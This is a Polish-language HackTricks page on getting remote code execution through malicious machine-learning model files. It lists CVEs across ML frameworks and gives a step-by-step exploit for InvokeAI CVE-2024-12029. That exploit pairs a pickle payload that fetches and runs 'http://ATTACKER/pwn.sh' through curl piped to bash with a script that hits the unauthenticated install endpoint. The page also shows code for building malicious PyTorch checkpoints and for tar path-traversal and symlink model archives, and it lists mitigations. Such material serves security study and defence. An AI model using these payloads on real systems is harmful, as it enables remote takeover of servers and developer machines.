Modele RCE

Reading time: 8 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ładowanie modeli do RCE

Modele uczenia maszynowego są zazwyczaj udostępniane w różnych formatach, takich jak ONNX, TensorFlow, PyTorch itp. Modele te mogą być ładowane na maszyny deweloperów lub systemy produkcyjne w celu ich wykorzystania. Zazwyczaj modele nie powinny zawierać złośliwego kodu, ale są przypadki, w których model może być użyty do wykonania dowolnego kodu w systemie jako zamierzona funkcja lub z powodu luki w bibliotece ładującej model.

W momencie pisania, oto kilka przykładów tego typu luk:

Framework / NarzędzieLuka (CVE, jeśli dostępne)Wektor RCEOdnośniki
PyTorch (Python)Niebezpieczna deserializacja w torch.load (CVE-2025-32434)Złośliwy pickle w punkcie kontrolnym modelu prowadzi do wykonania kodu (obejście zabezpieczenia weights_only)
PyTorch TorchServeShellTorchCVE-2023-43654, CVE-2022-1471SSRF + złośliwe pobieranie modelu powoduje wykonanie kodu; deserializacja RCE w API zarządzania
TensorFlow/KerasCVE-2021-37678 (niebezpieczny YAML)
CVE-2024-3660 (Keras Lambda)
Ładowanie modelu z YAML używa yaml.unsafe_load (wykonanie kodu)
Ładowanie modelu z warstwą Lambda uruchamia dowolny kod Pythona
TensorFlow (TFLite)CVE-2022-23559 (parsing TFLite)Opracowany model .tflite wywołuje przepełnienie całkowite → uszkodzenie sterty (potencjalne RCE)
Scikit-learn (Python)CVE-2020-13092 (joblib/pickle)Ładowanie modelu za pomocą joblib.load wykonuje pickle z ładunkiem __reduce__ atakującego
NumPy (Python)CVE-2019-6446 (niebezpieczne np.load) kwestionowaneDomyślnie numpy.load pozwalało na ładowanie obiektów tablicowych w formacie pickle – złośliwe .npy/.npz wywołuje wykonanie kodu
ONNX / ONNX RuntimeCVE-2022-25882 (przechodzenie katalogów)
CVE-2024-5187 (przechodzenie tar)
Ścieżka zewnętrznych wag modelu ONNX może uciec z katalogu (odczyt dowolnych plików)
Złośliwy model ONNX tar może nadpisać dowolne pliki (prowadząc do RCE)
ONNX Runtime (ryzyko projektowe)(Brak CVE) Niestandardowe operacje ONNX / przepływ sterowaniaModel z niestandardowym operatorem wymaga załadowania natywnego kodu atakującego; złożone grafy modelu nadużywają logiki do wykonania niezamierzonych obliczeń
NVIDIA Triton ServerCVE-2023-31036 (przechodzenie ścieżek)Użycie API ładowania modelu z włączonym --model-control pozwala na przechodzenie ścieżek względnych do zapisywania plików (np. nadpisanie .bashrc dla RCE)
GGML (format GGUF)CVE-2024-25664 … 25668 (wiele przepełnień sterty)Źle sformatowany plik modelu GGUF powoduje przepełnienia bufora sterty w parserze, umożliwiając wykonanie dowolnego kodu na systemie ofiary
Keras (starsze formaty)(Brak nowego CVE) Model Keras H5 w wersji legacyZłośliwy model HDF5 (.h5) z kodem warstwy Lambda nadal wykonuje się podczas ładowania (tryb bezpieczeństwa Keras nie obejmuje starego formatu – „atak degradacyjny”)
Inne (ogólnie)Wada projektowa – Serializacja PickleWiele narzędzi ML (np. formaty modeli oparte na pickle, Python pickle.load) wykona dowolny kod osadzony w plikach modeli, chyba że zostanie to złagodzone

Ponadto istnieją modele oparte na pickle w Pythonie, takie jak te używane przez PyTorch, które mogą być użyte do wykonania dowolnego kodu w systemie, jeśli nie są ładowane z weights_only=True. Tak więc, każdy model oparty na pickle może być szczególnie podatny na tego typu ataki, nawet jeśli nie są wymienione w powyższej tabeli.

🆕 InvokeAI RCE przez torch.load (CVE-2024-12029)

InvokeAI to popularny interfejs webowy typu open-source dla Stable-Diffusion. Wersje 5.3.1 – 5.4.2 udostępniają punkt końcowy REST /api/v2/models/install, który pozwala użytkownikom pobierać i ładować modele z dowolnych adresów URL.

Wewnątrz punkt końcowy ostatecznie wywołuje:

python
checkpoint = torch.load(path, map_location=torch.device("meta"))

Kiedy dostarczony plik to PyTorch checkpoint (*.ckpt), torch.load wykonuje deserializację pickle. Ponieważ zawartość pochodzi bezpośrednio z kontrolowanego przez użytkownika URL, atakujący może osadzić złośliwy obiekt z niestandardową metodą __reduce__ wewnątrz checkpointu; metoda ta jest wykonywana podczas deserializacji, co prowadzi do zdalnego wykonania kodu (RCE) na serwerze InvokeAI.

Luka została przypisana CVE-2024-12029 (CVSS 9.8, EPSS 61.17 %).

Przewodnik po eksploatacji

  1. Stwórz złośliwy checkpoint:
python
# payload_gen.py
import pickle, torch, os

class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))

with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)
  1. Host payload.ckpt na serwerze HTTP, który kontrolujesz (np. http://ATTACKER/payload.ckpt).
  2. Wywołaj podatny punkt końcowy (brak wymagań dotyczących uwierzytelnienia):
python
import requests

requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt",  # remote model URL
"inplace": "true",                         # write inside models dir
# the dangerous default is scan=false → no AV scan
},
json={},                                         # body can be empty
timeout=5,
)
  1. Kiedy InvokeAI pobiera plik, wywołuje torch.load() → uruchamia się gadżet os.system, a atakujący zyskuje wykonanie kodu w kontekście procesu InvokeAI.

Gotowy exploit: Metasploit moduł exploit/linux/http/invokeai_rce_cve_2024_12029 automatyzuje cały proces.

Warunki

• InvokeAI 5.3.1-5.4.2 (flaga skanowania domyślnie false) • /api/v2/models/install dostępne dla atakującego • Proces ma uprawnienia do wykonywania poleceń powłoki

Łagodzenia

  • Uaktualnij do InvokeAI ≥ 5.4.3 – łatka ustawia scan=True domyślnie i przeprowadza skanowanie złośliwego oprogramowania przed deserializacją.
  • Podczas programowego ładowania punktów kontrolnych używaj torch.load(file, weights_only=True) lub nowego torch.load_safe pomocnika.
  • Wymuszaj listy dozwolone / podpisy dla źródeł modeli i uruchamiaj usługę z minimalnymi uprawnieniami.

⚠️ Pamiętaj, że jakikolwiek format oparty na Python pickle (w tym wiele plików .pt, .pkl, .ckpt, .pth) jest z natury niebezpieczny do deserializacji z niezaufanych źródeł.


Przykład ad-hoc łagodzenia, jeśli musisz utrzymać starsze wersje InvokeAI działające za odwrotnym proxy:

nginx
location /api/v2/models/install {
deny all;                       # block direct Internet access
allow 10.0.0.0/8;               # only internal CI network can call it
}

Przykład – tworzenie złośliwego modelu PyTorch

  • Stwórz model:
python
# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
  • Załaduj model:
python
# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error

Modele do przejścia ścieżki

Jak wspomniano w tym poście na blogu, większość formatów modeli używanych przez różne frameworki AI opiera się na archiwach, zazwyczaj .zip. Dlatego może być możliwe nadużycie tych formatów do przeprowadzania ataków typu path traversal, co pozwala na odczyt dowolnych plików z systemu, w którym model jest załadowany.

Na przykład, za pomocą poniższego kodu możesz stworzyć model, który utworzy plik w katalogu /tmp po załadowaniu:

python
import tarfile

def escape(member):
member.name = "../../tmp/hacked"     # break out of the extract dir
return member

with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)

Lub, za pomocą poniższego kodu możesz stworzyć model, który utworzy symlink do katalogu /tmp, gdy zostanie załadowany:

python
import tarfile, pathlib

TARGET  = "/tmp"        # where the payload will land
PAYLOAD = "abc/hacked"

def link_it(member):
member.type, member.linkname = tarfile.SYMTYPE, TARGET
return member

with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD)                      # rides the symlink

Deep-dive: Keras .keras deserialization and gadget hunting

Aby uzyskać szczegółowy przewodnik po wewnętrznych mechanizmach .keras, RCE warstwy Lambda, problemie z dowolnym importem w ≤ 3.8 oraz odkrywaniu gadżetów po poprawce w liście dozwolonej, zobacz:

Keras Model Deserialization Rce And Gadget Hunting

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks